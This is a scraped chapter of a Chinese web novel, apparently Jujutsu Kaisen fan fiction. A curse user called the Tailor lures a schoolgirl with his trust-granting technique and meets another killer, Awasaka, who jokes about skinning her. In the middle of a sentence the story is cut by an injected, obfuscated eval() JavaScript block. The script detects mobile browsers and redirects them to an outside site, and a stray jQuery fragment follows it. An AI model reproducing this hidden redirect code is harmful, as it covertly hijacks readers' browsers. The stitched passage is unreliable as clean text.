默认冷灰
24号文字
方正启体

2. 第 2 章

作者:生发剂本书字数:K更新时间:
    接近目标的过程简单又顺利。


    先调整步速靠近,等到距离足够近,便假装是遇到了什么难题,装作有点不好意思、有点抱歉的样子,上前去询问对方一些无关紧要的问题。


    “你好,请问到最近的车站该往哪个方向走?”


    或者,“不好意思,请问你包上的这个挂件是在哪儿买的?我女儿一直很想要一个这样的。”


    只要这样说就可以了。


    对方回答什么,其实无关紧要。


    只要张口回答,哪怕只吐出一个音节,“问答”的形式即刻便已成立。裁缝便可以任意操作自己在与自己达成“问答”的人眼里的形象,轻而易举地获得信任。


    他的这一术式,在面对咒灵时被评价为废物,当年从高专毕业正式开始工作时的评级,也不过堪堪维持在三级咒术师的水平。


    可这一能力在面对人类时却十分起效,让他的行动大多数时候顺畅无阻。


    由此可见,咒术界实在是错估了他的才能。他因这种错估与不重视耽搁了很多时间,很久后才找到那条最适合自己的路。


    裁缝严格遵守步骤,接近对方后开口抛出了问题。


    他其实有点想不起来自己刚刚到底问了什么。这些没营养的对话在出口时并不真的经过他的大脑,就像一种本能,自然而然就已经脱口而出。


    想来这次说的也不过是老一套。他在后头尾随时,看到女孩的学生包上挂着两条细细的银色链子,但却只有一条链子的先端串着挂饰,另一个大约是不慎掉落在哪里了吧?挂在包上的东西很容易被人潮挤落,这事非常常见。


    现在还剩下的那个挂饰,是一只乌鸦形状的布偶,黑黝黝圆滚滚、约半个拳头大小,垂挂在包的一边随着女孩走动晃来晃去。


    要找话题搭话的话,大概就是从这东西入手了吧。


    被他盯上的女孩的反应,也一如他预想的那样。


    对方停下脚步,转过身,微微睁大眼睛,像是有点吃惊一样看了看自己包上的乌鸦,又看向他。


    她容貌生得很好,眼角微微上挑,眼珠是与长发一样的深黑色。不知是不是虹膜颜色过深的原因,她的注视奇怪地很有重量,会让人感到一种奇异的压迫感。


    女孩淡粉色的嘴唇一张一合。


    在那张唇边,还生有一粒小痣。


    裁缝直到近距离正面与其相对,才发现这粒小痣的存在。


    他心中忽然生出一点不舒服的感觉。是因为这意料外的小黑点的存在破坏了原本无瑕的皮肤吗?还是因为别的什么呢?


    “咦,什么时候弄掉了?”


    女孩先是有点困扰似的皱了皱眉,自言自语,拨弄了一下空着的那根银链子。随后她抬起头来,好言好语地和他解释,“抱歉,这是别人送的礼物。不方便转卖……”


    她的神态和反应都与裁缝想象中相差无几。诅咒师心中喜悦,很快遗忘了自己那一点奇怪的情绪。


    这时他才想起来,原来刚刚他脱口而出的话是:


    “我很喜欢这个乌鸦挂件,感觉它十分特别,请问是否愿意割爱?”


    也不怪对方惊讶。真是太唐突失礼了,询问商品在何处售卖没有问题,可怎么能拦下路人,忽然说要买对方的挂饰呢?这根本不正常。


    裁缝不大明白自己为什么会这样说,也许刚刚的某一个瞬间,他是真的有点昏了头。


    不过没关系。


    一些小小的失败无伤大雅,不管他问了什么,对方都已经给出了回答。


    术式的生效条件已经被满足。


    “这样啊,那太可惜了。”


    裁缝说出第二句话,接着对着女孩露出一个自认和蔼的笑容,“不提这个了。来吧,现在请你去我的家里做客吧。我想,你现在已经很相信我了,对吗?”


    ……


    破旧的公寓楼建在都内边缘的区域,周边一带都是工厂区,要说方位,其实已经接近埼玉。


    虽然住在这一带的人不是贫穷得无力搬走的小市民,就是打着零工、日语也说不顺畅的奇怪外国人,还有许多不务正业游手好闲的街痞流氓,但是到底也还算在首都范围内,人们身上总还是存有一种身处都内的奇怪自豪感。


    房屋的租金虽便宜,却也还是“首都价格”。这些公寓楼的外墙大多没有得到很好的粉刷,筑龄普遍在四五十年以上,就算是在非回收日,楼道外也毫不讲究地杂乱堆放着各种垃圾,让人看两眼就不免后悔:


    自己为什么一定要花这个价钱租住在这里呢?


    还不如真的住到埼玉去。


    也有年轻的租客会这么嘀咕,但最终却没有真的放弃时髦的首都身份,只是从这里搬去了治安更好租金也更昂贵的区。


    久我幸跟着前面的诅咒师穿过公寓楼前狭窄的小街。


    那是一条开满风俗店的小道,广告招牌都花里胡哨,内容大同小异。大多是些涂抹浓妆,穿着奇怪裸露服装的靓丽女性——也有些衣着浮夸过度修容的男性。总之就是那种类型的店家。


    走过这条街道,老旧公寓楼的入口就在前方。


    街角的店门口站着一名个头不高的中年男人,两指夹着皱巴巴的香烟,正对着街道喷吐烟雾。看到诅咒师与久我幸这对组合走过小道,男人立刻抖动粗重的眉毛,面颊上的横肉跟着颤动,朝他们露出带下流意味的了然笑容。


    “又是哪里找来的小妞?”


    对方咧开嘴,从其中吐出的话粗鄙可憎,“裁缝,你不是才刚干完一票吗。这么快又接新活?”


    “尾神婆婆的委托,要得很急。”


    被称作裁缝的男人回答。他似乎不太想和此人多聊,回答得十分冷淡。


    久我幸站在裁缝身后,朝那站在街边的男人投去打量的一瞥。


    这是一个看上去便让人生不出好感的人物,与这条街道十分相称。


    男人的身材五短,体格却异常壮硕,身穿一件皱巴巴脏兮兮的圆领白汗衫,下身的裤子尺寸不太合身,裤脚拖在地上。


    他的眉毛浓重粗壮,鼻头很塌,眼睛小而圆,面相总体看起来有些滑稽。在这张滑稽的脸上,胡渣未经打理,长得很是邋遢。


    久我幸又看向男人身后艳俗的粉红色招牌,上面印着丰乳翘臀的裸露女郎,女郎脸上堆着甜腻的笑容,做着挑逗的姿势。


    人物下方以刺眼的颜色印着醒目的价格:60分钟4000日元。廉价得令人难以置信。


    “就这么简单剥她的皮吗?嘿,我说你这个人,实在太不会享受生活。”


    那男人又说。说话时,他的手掌像是抽搐似的抖了一下,像是回味着什么一样,做了一个虚握的手势。


    久我幸的视线转回来,短暂地被那个奇怪的手势吸引了。


    两人的对话内容足以令常人背脊发寒,说着这样可怖的话,还全然没有要回避被谈论的当事人的意思。


    这一点,其实也显得有点奇怪。


    中了裁缝的术式,便会对裁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360990|183678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缝生出信赖,将裁缝看作绝对放心的人。


    可即便如此,像这样听到其他人说着什么“干一票”“剥皮”之类的话,理所当然还是会害怕,多少会生出些许警惕之心。


    但是裁缝却没有制止男人说那样的话。


    在对方说话时,裁缝还特地回过头来看了看久我幸。见她只是安静地等待,并没有什么特别的反应,反而好像有些不高兴起来。


    “闭嘴吧,粟坂。收起你那些废话。”


    将久我幸带到这种地方来的诅咒师板起脸,好像这时候才想起要阻止对方恐吓自己的猎物。他侧着移动了一下身体,遮挡住矮个子男人投向女孩的视线。


    裁缝皱起眉,因心情不快,言辞也尖锐刻薄起来:


    “与其管我的闲事,不如先管好自己。你这次还要在这里停留多久?前几年不是才被五条家的那个‘六眼’吓得躲回乡下去了吗,如今怎么又敢出头?既然要藏,就藏好一点,我听说对方现在就在东京的咒术高专,闹得这几年关东一带的生意都不好做了。”


    他面露不屑地扫过那些花花绿绿的招牌,语气中满是轻蔑:


    “粟坂,你其实还是怕得很吧?怕那个十来岁的小鬼,被他吓破了胆,吓没了心气。所以就连找乐子,都只敢来这种便宜地方。”


    两人之间的空气似乎变得稀薄起来。


    “是啊。我可是怕得很啊。”


    被叫做粟坂的男人——和裁缝同样,他也是一名诅咒师。粟坂二良扯起嘴角,露出森白的,和他邋遢的外形不符的整齐牙齿,这种违和的不相称感让他的表情变得更加凶恶可怖了。


    “裁缝,你难道不也一样?要是那小子再早几年出生,我看你恐怕要吓得不敢做你那些小动作,搞不好现在还在当什么狗屎咒术师吧!”


    邋遢的中年男人眼中迸发出骇人血光,说到激动处,双手捏着拳头,关节发出可怕的爆鸣,“那小子把我们的一切都毁了。原本随随便便就能捞来大把大把的钞票,想要什么女人都能搞到手。现在却不得不像老鼠一样偷偷摸摸……”


    噗嗤。


    像是在爆裂的火中滴落一滴水——也可能是一滴油——火苗扑哧一下炸开了一小朵花。空气中响起短促的,不合时宜的笑声。


    被裁缝挡在身后的久我幸忽然轻笑了一声。


    两名诅咒师在一瞬间停下了交谈。两双属于杀人鬼的眼睛齐齐转过来,注视着她。


    穿过小道的风静止不再吹动。空气凝固了。


    黑色长发的女孩眨了一下眼睛,一言不发,神情无辜,好像刚刚忽然不合时宜地发出笑声的人并非是她一样。


    裁缝紧盯着久我幸,视线从女孩唇边的那粒黑痣上移到对方弯起的唇,然后再向上移,与那双黑黝黝的眼睛对视。


    到底是怎么一回事?他确信自己的术式仍然起效,但眼前这个女孩是怎么回事?


    为什么她分明听到诅咒师之间残酷的对话,却既不感到害怕,也完全看不出紧张?


    明明从前的那些女孩们光是走在这条开满风俗店的街上,都会忍不住向自己寻求依靠!明明自己理应已经是她最为信赖的人……


    裁缝烦躁地咬紧牙关,再次产生了之前那种不舒服的感觉。


    一片寂静中,粟坂二良率先发出听起来很粗野的笑声。


    “真有意思。裁缝,你到底哪里找来这样的姑娘?”


    他大笑着再次问。


    这一次,裁缝保持沉默,没有再回答他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)